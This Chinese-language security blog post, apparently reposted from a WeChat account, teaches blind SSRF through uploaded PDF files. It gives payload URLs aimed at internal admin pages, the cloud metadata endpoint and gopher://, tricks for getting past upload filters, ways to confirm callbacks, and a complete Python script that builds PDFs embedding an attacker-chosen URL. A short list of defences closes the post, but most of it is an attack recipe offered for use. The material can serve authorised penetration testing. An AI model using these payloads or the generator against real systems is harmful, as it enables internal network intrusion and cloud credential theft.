在现代 Web 应用中,文件上传功能十分常见,而攻击者常利用这一点实施 SSRF 攻击。接下来将详细介绍如何利用 PDF 文件的特性来触发盲 SSRF,从而绕过安全检测,实现内网探测或更深层次的利用。
一、为何选择 PDF 文件?
-
白名单优势
在很多系统中,PDF 文件因其广泛应用和可信度,往往被默认允许上传。攻击者正是利用这点,将恶意代码隐藏在 PDF 中,绕过常规文件类型检查。 -
后端解析的漏洞
后端处理 PDF 文件时,通常会对其中嵌入的外部对象(如图片、链接、RichMedia 对象或嵌入的 JavaScript)进行解析或渲染。若这些外部对象包含恶意 URL,当 PDF 被处理时,后端服务器就会以其身份发起外部请求,从而实现 SSRF 攻击。
二、攻击流程详解
-
工具及 payload 的准备
攻击者可以利用类似于“malicious-pdf.py”的工具,这个工具能够将恶意的 SSRF payload 注入 PDF 文件。它会生成如 test1.pdf、test2.pdf 和 test3.pdf 等文件,并为每个文件配置不同的请求向量。payload 可能包括指向内部地址(如 http://127.0.0.1/admin)、云平台元数据接口(http://169.254.169.254/latest/meta-data/)、甚至针对特定协议(如 gopher://)的特殊调用。 -
上传触发点
一旦工具准备好恶意 PDF,接下来便是利用目标系统提供的文件上传接口。例如,通过上传功能将 PDF 文件作为头像文件上传。如果后端自动对上传文件进行解析或转换(比如生成预览或进行病毒扫描),嵌入在 PDF 中的恶意 payload 就会被激活。 -
监控与确认
攻击成功后的关键在于监控后端的回调。攻击者通常使用 Burp Collaborator、Interactsh 或自建 DNS 日志服务器来捕捉内网的回调信息。一般来说,当监控系统收到类似 DNS pingback 或 HTTP 请求时,就证明后端已经通过 PDF 文件触发了 SSRF,从而获得了来自内网的响应。 -
高级 payload 与绕过技巧
为了提升攻击成功率,建议使用多种 payload 变体: -
请求内网管理界面或敏感数据接口(例如 /etc/passwd);
-
使用双重扩展名(如 avatar.pdf.png)迷惑上传过滤器;
-
采用混淆 IP 表示(比如使用 0x7f000001 表示 127.0.0.1);
-
利用流式 payload 实现更深层次的绕过。
三、Python 脚本示例:
为了便于生成 payload,提供了一个 Python 脚本示例。脚本主要功能包括:
-
利用 fpdf 库生成 PDF 文件;
-
随机生成 payload URL,确保每个文件独一无二;
-
将生成好的文件保存至指定目录。
#!/usr/bin/env python3
import os
import sys
from fpdf import FPDF
import random
import string
def random_string(length=6):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def create_pdf(payload_url, output_dir, index):
pdf = FPDF()
pdf.add_page()
pdf.set_font("Arial", size=12)
pdf.cell(200, 10, txt="Malicious PDF Payload Trigger", ln=True)
# 将 payload URL 作为图片引用嵌入 PDF 中
pdf.image(payload_url, x=10, y=20, w=100)
filename = f"{output_dir}/payload_{index}_{random_string()}.pdf"
pdf.output(filename)
print(f"[+] PDF created: {filename}")
def generate_payloads(base_url, count=5, output_dir="output_pdfs"):
if not os.path.exists(output_dir):
os.makedirs(output_dir)
print(f"[+] Generating {count} payloads targeting {base_url}")
for i in range(count):
unique_url = f"{base_url}/{random_string(8)}.jpg"
create_pdf(unique_url, output_dir, i)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 enhanced-malicious-pdf.py <base_url> [count]")
sys.exit(1)
base_url = sys.argv[1]
count = int(sys.argv[2]) if len(sys.argv) > 2 else 5
generate_payloads(base_url, count)
该脚本展示了如何根据给定的 base_url 生成带有独特 payload 的 PDF 文件,便于在大量环境中测试 SSRF 漏洞。[、]
四、应用场景与防御建议
应用场景:
-
云环境 SSRF 攻击: 通过触发 AWS 元数据接口,窃取内部凭证。
-
内网管理界面探测: 发现并利用内网管理系统。
-
服务指纹识别: 分析内网不同服务的响应,获取版本信息及其他敏感数据。
-
链式攻击: 结合 SSRF 与其他漏洞,如 Redis RCE。
防御建议:
-
严格限制上传文件类型和内容,不仅基于文件扩展名,更需检查实际文件的 MIME 类型和内容特征;
-
在解析和转换文件时,采用沙箱隔离措施,防止后端直接发起网络请求;
-
对后端发起的所有请求实施严格审计和白名单控制,防止内部资源被非法访问。
参考:
https://x.com/TheMsterDoctor1/status/1909830826998874227
原文始发于微信公众号(Secu的矛与盾):利用 PDF 文件实现盲 SSRF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论